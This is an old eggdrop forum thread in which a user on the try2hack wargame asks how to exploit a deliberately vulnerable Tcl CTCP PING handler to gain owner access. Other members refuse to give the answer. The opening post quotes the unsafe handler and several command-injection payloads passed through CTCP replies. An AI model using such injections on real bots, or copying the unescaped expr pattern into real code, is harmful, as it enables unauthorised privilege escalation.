egghelp/eggheads community

Question to CTCPREPLY Bot Exploit BUG

2002-10-07T08:01:08-04:00

It's simply cheating if we give the answer.

Though, I will give you a hint.

There are hundreds of threads on this forum, where the effects of this exploit is shown.

You will need to understand what causes the errors involved, to understand the exploit.

er..well,
thanks

Statistics: Posted by Guest — Mon Oct 07, 2002 8:01 am

Question to CTCPREPLY Bot Exploit BUG

2002-10-06T15:16:06-04:00

It's simply cheating if we give the answer.

Though, I will give you a hint.

There are hundreds of threads on this forum, where the effects of this exploit is shown.

You will need to understand what causes the errors involved, to understand the exploit.

Statistics: Posted by ppslim — Sun Oct 06, 2002 3:16 pm

Question to CTCPREPLY Bot Exploit BUG

2002-10-05T18:42:08-04:00

hello,
here's another one of those try2hack lvl9ers

Couldn't anybody give us a hint?
because I don't really understand that part

oh, aand btw: @thread opener...
it's finished after this, isn't it? because, where should you get a new quest, after getting n?

FuSL

Statistics: Posted by Guest — Sat Oct 05, 2002 6:42 pm

Question to CTCPREPLY Bot Exploit BUG

2002-05-14T14:08:00-04:00

I remember when I secured that level a bit more and then the owner of the bot got mad and shut the bot down ~ Some people eh?

Statistics: Posted by guppy — Tue May 14, 2002 2:08 pm

Question to CTCPREPLY Bot Exploit BUG

2002-05-13T19:44:00-04:00

maybe...

Statistics: Posted by Guest — Mon May 13, 2002 7:44 pm

Question to CTCPREPLY Bot Exploit BUG

2002-05-13T18:45:00-04:00

You're one of those try2hack level 9 people, aren't you?

Statistics: Posted by Wcc — Mon May 13, 2002 6:45 pm

Question to CTCPREPLY Bot Exploit BUG

2002-05-13T16:38:00-04:00

think what you want, i will not hack anyone or so. it is just a test ok? i believe you won't believe it is a test, but it is really one.

i missed a command in all the others, than i can finish said one man to me.

Statistics: Posted by Guest — Mon May 13, 2002 4:38 pm

Question to CTCPREPLY Bot Exploit BUG

2002-05-13T16:24:00-04:00

heh, you really think anyone here is gonna help you exploit a scripting hole? even if you were doing it for good intentions, we still wouldn't answer because not everyone who reads this board is so honorable. the answer is actually quite simple in the end, though you'll probably have to look through the tcl source to find it.

Statistics: Posted by Petersen — Mon May 13, 2002 4:24 pm

Question to CTCPREPLY Bot Exploit BUG

2002-05-13T14:56:00-04:00

Hello Everybody,

i have a question about an exploit Bug Quest that i have to do:

I got this message:

Code:

bind ctcr - PING ctcr:pingreplyproc ctcr:pingreply {nick uhost hand dest key arg} {set dur [expr [unixtime] - $arg]putserv "NOTICE $nick :Your ping reply took $dur seconds"}

Now i have to create my own account on the bot and gain +n (owner)
by exploiting an intentional bug in the bot.

Any effort to let the bot crash, die or act erroneously is forbidden.

I have tried the following commands in the channel, but just by the first one i got a message back.

/ctcpreply THEBOT PING [adduser TraXX *!TraXX@*]
/ctcpreply THEBOT PING [setuser TraXX HOSTS TraXX!TraXX@*.net]
/ctcpreply THEBOT PING [setuser TraXX PASS blabla]
/ctcpreply THEBOT PING [chattr TraXX +mn]
/dcc chat THEBOT

What i have done wrong?
The First Anwswer i get from the bot is when i have typed in the first CTCPREPLY Line 1 above.
I got this:

··· notice (u): -THEBOT- Your ping reply took 1021302734 seconds

By the other last 4 lines nohting happens.
What i must do?

How i can get me regged on the bot with +n and make a dcc chat?
Please help me, it is important!

THANKX IN ADVANCE!!!

[ This Message was edited by: TraXX on 2002-05-13 12:58 ]

Statistics: Posted by Guest — Mon May 13, 2002 2:56 pm